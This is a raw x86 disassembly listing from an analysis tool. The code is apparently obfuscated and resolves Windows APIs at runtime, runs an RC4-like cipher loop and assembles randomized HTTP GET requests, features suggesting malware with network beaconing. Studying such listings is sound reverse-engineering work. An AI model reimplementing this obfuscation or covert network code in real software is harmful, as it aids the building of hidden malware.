		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B47E8:				; CODE XREF: sub_9B5904-896Fj
		or	esi, 0FFFFFFFFh
		mov	[ebp-20h], esi
		xor	ecx, ecx


loc_9B47F0:				; CODE XREF: sub_9B5904-A76Bj
		mov	[ebp-1Ch], ecx
		cmp	ecx, 20h
		jge	loc_9B3EED
		jmp	off_9BA83C
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B480C:				; CODE XREF: sub_9B0930-4F8Ej
		push	off_9B955D
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+50h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+50h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAB16
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4840:				; CODE XREF: sub_9B1F68-1D7Aj
					; DATA XREF: .text:off_9B8D3Eo
		lea	edi, [edi+edi*2]
		shl	edi, 2
		lea	esi, [edi+ebp-248h]
		mov	[ebp-50h], esi
		push	dword ptr [esi]
		pop	eax
		test	eax, eax
		jz	loc_9B586C
		jmp	loc_9AB6E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4860:				; CODE XREF: sub_9B63D8-8D95j
					; DATA XREF: .text:off_9B8D10o
		cmp	dword ptr [ebp-2124h], 0FFFFFFFFh
		jz	loc_9AF94B
		jmp	loc_9AF248
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4874:				; CODE XREF: sub_9B1F68-51C3j
		imul	eax, esi
		shl	eax, 1
		push	eax
		pop	ecx
		push	51EB851Fh
		pop	eax
		imul	ecx
		sar	edx, 5
		push	edx
		pop	eax
		shr	eax, 1Fh
		lea	esi, [eax+edx+1]
		jmp	off_9B944D
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4898:				; CODE XREF: sub_9B0930-8FBj
					; DATA XREF: .text:off_9B8DB2o
		push	offset aCreateeventa ; "CreateEventA"
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+20h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9E97
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B48CC:				; CODE XREF: sub_9B1A08-845j
					; DATA XREF: .text:off_9B8F8Do
		push	0
		mov	ecx, [ebp+var_41E4]
		push	ecx
		push	10h
		pop	eax
		call	sub_9AC32C
		mov	[ebp+var_4200],	eax
		test	al, 1
		jnz	loc_9B2C5C
		jmp	off_9BAF63
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4901:				; CODE XREF: sub_9B2830-5694j
					; sub_9B2830+1D76j
		mov	ecx, [ebp-10h]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABE84


loc_9B4918:				; CODE XREF: sub_9ABE84+65j
					; DATA XREF: .text:off_9B8D96o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	80h
		push	esi
		pop	eax
		push	eax
		call	dword ptr [edx+4Ch]
		mov	ecx, dword_9BCB74
		mov	eax, esi
		push	dword ptr [ecx]
		pop	edx
		push	eax
		call	dword ptr [edx+44h]
		jmp	loc_9B12BB
; END OF FUNCTION CHUNK	FOR sub_9ABE84
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9B4944:				; CODE XREF: sub_9AE400+3Fj
		mov	[ebp+var_1C], 1
		jmp	loc_9B43AB
; END OF FUNCTION CHUNK	FOR sub_9AE400

; =============== S U B	R O U T	I N E =======================================



sub_9B4950	proc near		; DATA XREF: .text:off_9B946Eo

; FUNCTION CHUNK AT 009AB068 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AB2E8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ABB14 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009AC0B0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AD3C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009ADB98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AEF08 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 009AFE14 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AFF4C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B0D64 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B194C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B20B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2778 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B2944 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B2A4C SIZE 00000065 BYTES
; FUNCTION CHUNK AT 009B3128 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B32C4 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 009B366C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B36AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B3A04 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3BC8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B42AC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B457C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B47B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B50D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B5BFC SIZE 0000004A BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9481
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	ebx, ebx
		mov	[ebp-4], ebx
		call	sub_9B6504
		push	ebx
		push	ebx
		push	off_9B909D
		call	sub_9ABF08
		mov	[ebp-28h], eax
		push	ebx
		push	1
		push	off_9B8820
		call	sub_9ABF08
		mov	[ebp-2Ch], eax
		push	ebx
		push	1
		push	off_9BA7C1
		call	sub_9ABF08
		mov	[ebp-30h], eax
		push	ebx
		push	ebx
		push	off_9B8820
		call	sub_9ABF08
		mov	[ebp-34h], eax
		push	ebx
		push	ebx
		push	off_9BA7C1
		call	sub_9ABF08
		mov	[ebp-38h], eax
		call	sub_9B46CC
		mov	[ebp-20h], eax


loc_9B49DE:				; CODE XREF: sub_9B4950-9657j
		push	dword ptr [ebp+8]
		pop	eax
		push	eax
		mov	edx, 1388h
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9ABB14
		jmp	off_9B8941
sub_9B4950	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B49FC:				; CODE XREF: sub_9B3B1C+56j
		call	sub_9B45AC
		mov	dword_9BCBB4, eax
		call	sub_9B45AC
		mov	dword_9BCBB8, eax
		call	sub_9B45AC
		mov	dword_9BCBBC, eax
		call	sub_9B45AC
		mov	dword_9BCBC0, eax
		call	sub_9B45AC
		mov	dword_9BCBC4, eax
		call	sub_9B45AC
		mov	dword_9BCBC8, eax
		push	1
		push	18h
		pop	ecx
		mov	edx, offset dword_9BCBB4
		call	sub_9B1B20
		jmp	off_9B99EA
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4A50:				; CODE XREF: sub_9AB1A0+2171j
					; DATA XREF: .text:off_9B8C85o
		push	dword ptr [ebp+10h]
		pop	eax
		mov	edx, [eax]
		push	dword ptr [ebp+8]
		pop	ecx
		mov	[ecx+edx*4], edi
		inc	dword ptr [eax]
		jmp	loc_9B5F54
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4A64:				; CODE XREF: sub_9B1F68+2159j
					; DATA XREF: .text:off_9B9A29o
		push	dword ptr [ebp-3Ch]
		pop	eax
		or	eax, eax
		jnz	loc_9B276B
		jmp	loc_9B274C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4A80:				; CODE XREF: sub_9B63D8-51B4j
					; DATA XREF: .text:off_9BB025o
		cmp	[eax], ebx
		jz	loc_9AF944
		jmp	loc_9B13A8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B4A90:				; CODE XREF: sub_9AE860+71C0j
					; DATA XREF: .text:off_9BADA8o
		mov	edi, eax
		sub	ecx, esi
		mov	edx, ecx
		dec	edi


loc_9B4A97:				; CODE XREF: sub_9AE860+623Dj
		mov	cl, [edi+1]
		inc	edi
		or	cl, cl
		jnz	short loc_9B4A97
		jmp	loc_9B0F18
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B4AA4:				; CODE XREF: sub_9B5904-1108j
					; DATA XREF: .text:off_9BA83Co
		lea	eax, [ecx+ecx*4]
		shl	eax, 3
		cmp	dword_9BEC2C[eax], ebx
		jnz	loc_9AB198
		jmp	off_9B9384
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B4ABC:				; CODE XREF: sub_9B4610-3B3Cj
					; DATA XREF: .text:off_9B956Co
		and	ebx, ebx
		jnz	loc_9AF228
		jmp	loc_9AE4EC
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B4ACC:				; CODE XREF: sub_9B3864-5595j
					; DATA XREF: .text:off_9B9342o
		push	[ebp+var_2028]
		pop	edx
		test	edx, edx
		jnz	loc_9AEB8C
		jmp	off_9B9E9B
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B4AE4:				; CODE XREF: sub_9AF030+24FBj
		call	sub_9B2160
		mov	edi, eax
		mov	[ebp+var_1C], edi
		test	edi, edi
		jz	loc_9AC62B
		jmp	loc_9B5140
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4AFC:				; CODE XREF: sub_9AB1A0+AAD7j
					; DATA XREF: .text:off_9B99DCo
		mov	ecx, dword_9BCBC8[eax*4]
		test	ecx, ecx
		jnz	loc_9B5894
		jmp	loc_9B5B88
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------


loc_9B4B10:				; CODE XREF: .text:009B20A5j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4B18:				; CODE XREF: sub_9B0930-10E8j
					; DATA XREF: .text:off_9BA7E1o
		push	off_9BAD44
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+40h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1C5C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4B4C:				; CODE XREF: sub_9B2830+1026j
		or	edi, edi
		jz	loc_9AD195
		jmp	off_9B9641
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9B4B5C:				; CODE XREF: sub_9B19D8-3A66j
					; DATA XREF: .text:off_9B920Bo
		push	0
		lea	edx, [ebp-4048h]
		push	edx
		lea	ecx, [ebp-4022h]
		push	ecx
		push	esi
		push	6
		push	dword ptr [ebp-4050h]
		pop	edx
		push	edx
		lea	ecx, [ebp-4034h]
		push	ecx
		add	eax, 0FFFFFFFEh
		push	eax
		lea	ecx, [ebp-4044h]
		lea	edx, [ebp-201Eh]
		call	sub_9B1D80
		push	dword ptr [ebp-4048h]
		pop	edi
		or	edi, edi
		jz	loc_9B5E0C
		jmp	loc_9B349C
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B4BAB:				; CODE XREF: sub_9B57B4-11ADj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4BD0:				; CODE XREF: sub_9B0930+4757j
					; DATA XREF: .text:off_9BAFC3o
		push	off_9B8C20
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+18h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		jmp	off_9BAB90
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4BF8	proc near		; CODE XREF: sub_9ABC20+9EAAj

; FUNCTION CHUNK AT 009ADBD4 SIZE 00000025 BYTES

		push	ebx
		pop	eax
		lea	edx, [eax+1]


loc_9B4BFD:				; CODE XREF: sub_9B4BF8+Aj
		mov	cl, [eax]
		inc	eax
		and	cl, cl
		jnz	short loc_9B4BFD
		jmp	loc_9ADBD4
sub_9B4BF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4C0C:				; CODE XREF: sub_9B0930+160j
		push	off_9B9E93
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+3Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+3Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AF6D0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4C3C:				; CODE XREF: sub_9B1A08-3D5Fj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	eax
		call	dword ptr [edx+38h]


loc_9B4C4A:				; CODE XREF: sub_9B1A08-3D65j
					; sub_9B1A08-3C73j
		sub	esi, esi
		mov	[ebp+var_41E8],	esi
		mov	edi, [ebp+var_41E0]


loc_9B4C58:				; CODE XREF: sub_9B1A08-614Cj
		cmp	esi, edi
		jnb	loc_9B1C13
		jmp	off_9B8DA6
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4C68:				; CODE XREF: sub_9B1A08-3C82j
					; DATA XREF: .text:off_9B99F2o
		mov	ecx, [ebp+var_4208]
		push	ecx
		lea	ecx, [ebp+var_403C]
		lea	edx, [ebp+var_401C]
		call	sub_9B1D80
		mov	edi, [ebp+var_41F8]
		test	edi, edi
		jz	loc_9AD484
		jmp	loc_9AE954
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B4C94:				; CODE XREF: sub_9B3D1C+47j
					; DATA XREF: .text:off_9BA443o
		lea	esi, [ebx+4]
		push	10h
		pop	ecx
		lea	edi, [eax+4]
		rep movsd
		mov	esi, [ebx+44h]
		or	esi, esi
		jz	loc_9B17F8
		jmp	off_9BA0B9
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B4CB0:				; CODE XREF: sub_9ADAC4+83A2j
		push	5
		push	ebx
		mov	eax, 8
		call	sub_9AC32C
		mov	[ebp-58h], eax
		test	al, 1
		jnz	loc_9ADCDC
		jmp	off_9BA15C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B4CF0:				; CODE XREF: .text:009AB514j
					; DATA XREF: .text:off_9BA0D4o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4CF4	proc near		; CODE XREF: sub_9B29B0+4Bp
					; sub_9B3BE8+3p

; FUNCTION CHUNK AT 009AFEC0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B0DC8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0E00 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B2558 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B2CCC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5454 SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA7A8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebx],	0
		mov	ecx, [ebp+8]
		test	cl, 1
		jz	loc_9B256C
		jmp	loc_9B2CCC
sub_9B4CF4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4D3C:				; CODE XREF: sub_9B0930+38B9j
		mov	dword ptr [ebp-20h], 1
		jmp	loc_9B23EF
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B4D48:				; CODE XREF: sub_9B0734+3B0Fj
		mov	[ebx], eax
		mov	eax, 4


loc_9B4D4F:				; CODE XREF: sub_9B0734+18j
		pop	esi
		pop	ecx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4D58:				; CODE XREF: sub_9AB1A0+ADC5j
					; DATA XREF: .text:off_9B9E87o
		call	sub_9B45AC
		sub	edx, edx
		div	dword ptr [ebp-24h]
		mov	[ebp-20h], edx
		sub	edi, edi
		mov	[ebp-1Ch], edi
		xor	ebx, ebx


loc_9B4D6C:				; CODE XREF: sub_9AB1A0+B8Aj
		mov	[ebp-28h], ebx
		cmp	ebx, 20h
		jnb	loc_9B2911
		jmp	loc_9AE134
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B4D80:				; CODE XREF: sub_9AC6DC-2EFj
					; DATA XREF: .text:off_9B91CCo
		ja	loc_9B30B0
		jmp	loc_9B35E8
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B4D8C:				; CODE XREF: sub_9B4FD0-6300j
		inc	eax
		jmp	loc_9AD321
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4D94:				; CODE XREF: sub_9B63D8-583j
					; DATA XREF: .text:off_9BA615o
		movsx	eax, al
		lea	eax, [eax+eax*4]
		movsx	edx, dl
		movsx	ecx, cl
		lea	eax, [edx+eax*2]
		lea	eax, [eax+eax*4]
		cmp	ebx, 33h
		lea	edx, [ecx+eax*2-14D0h]
		mov	eax, [ebp-2158h]
		mov	[eax], edx
		jl	loc_9B41AB
		jmp	loc_9AB610
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6A0


loc_9B4DC4:				; CODE XREF: sub_9AC6A0+87EBj
		mov	eax, [esp+1Ch+var_C]


loc_9B4DC8:				; CODE XREF: sub_9AC6A0+36j
		add	eax, ecx
		mov	dl, [ecx]
		mov	[esp+1Ch+var_11], dl
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+1]
		push	[esp+1Ch+var_8]
		pop	edx
		mov	[esp+1Ch+var_11], al
		lea	eax, [ecx+edx]
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx+1], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+2]
		mov	[esp+1Ch+var_11], al
		push	[esp+1Ch+var_10]
		pop	eax
		cdq
		idiv	edi
		mov	al, [esp+1Ch+var_11]
		mov	dl, [ebp+edx+0]
		add	dl, al
		add	bl, dl
		movzx	eax, bl
		mov	dl, [esi+eax+2]
		lea	eax, [esi+eax+2]
		mov	[ecx+2], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+3]
		mov	edx, [esp+1Ch+var_4]
		mov	[esp+1Ch+var_11], al
		lea	eax, [ecx+edx]
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	ecx, 4
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx-1], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		add	[esp+1Ch+var_10], 4
		mov	eax, [esp+1Ch+var_C]
		add	eax, ecx
		cmp	eax, 100h
		jl	loc_9B4DC4
		jmp	off_9B93DF
; END OF FUNCTION CHUNK	FOR sub_9AC6A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B4E98:				; CODE XREF: sub_9B1D80-6D96j
					; DATA XREF: .text:off_9BA3A0o
		and	edx, edx
		jz	loc_9B3ECB
		jmp	loc_9B04DC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4EA8:				; CODE XREF: sub_9B63D8-45B0j
					; DATA XREF: .text:off_9BA374o
		add	eax, ecx
		cmp	ebx, eax
		jnz	loc_9ABE10
		jmp	off_9BAAFD
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B4EB8:				; CODE XREF: sub_9ADAC4+784j
					; sub_9ADAC4+681Ej ...
		and	ebx, ebx
		jz	loc_9AB8EE
		jmp	off_9B970B
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4EC8:				; CODE XREF: sub_9B63D8-AE72j
					; sub_9B63D8-807j
		lea	ebx, [ebp-120h]
		call	sub_9AB3B0


loc_9B4ED3:				; CODE XREF: sub_9B63D8-93C1j
		push	edi
		lea	eax, [ebp-120h]
		push	eax
		call	sub_9B45AC
		mov	ecx, 3
		xor	edx, edx
		div	ecx
		push	off_9BB03C[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		push	off_9BA48C[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		and	eax, 3
		mov	eax, off_9B8D00[eax*4]
		push	eax
		call	sub_9B45AC
		mov	ecx, 3
		xor	edx, edx
		div	ecx
		push	off_9B88F0[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		push	off_9BA358[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		mov	ecx, 3
		div	ecx
		push	off_9B99D0[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		push	off_9B9058[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		mov	ecx, 3
		div	ecx
		mov	edx, off_9B9670[edx*4]
		push	edx
		push	dword ptr [ebp-2160h]
		pop	eax
		push	eax
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	1FFFh		; Count
		lea	ecx, [ebp-2120h]
		push	ecx		; Dest
		call	_snprintf
		add	esp, 38h
		lea	eax, [ebp-2120h]
		lea	edx, [eax+1]


loc_9B4FB0:				; CODE XREF: sub_9B63D8-1423j
		mov	cl, [eax]
		inc	eax
		and	cl, cl
		jnz	short loc_9B4FB0
		jmp	loc_9B3788
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		push	edi
		mov	ecx, 93h
		xor	eax, eax
		mov	edi, off_9B9FDF
		rep stosd
		pop	edi
		retn
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B4FD0	proc near		; CODE XREF: sub_9B1D80-32EEp
					; sub_9B3864-37ECp

; FUNCTION CHUNK AT 009AAEF0 SIZE 0000008A BYTES
; FUNCTION CHUNK AT 009AB8C4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009ACB48 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ACC18 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AD318 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AECC4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AED84 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AF184 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AFB08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFDAC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFED8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0A98 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0D54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0E4C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B104C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1E44 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B30E0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B3A50 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B3C54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4D8C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B54D0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B5708 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B99BD
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 220h
		mov	eax, dword_9B8788
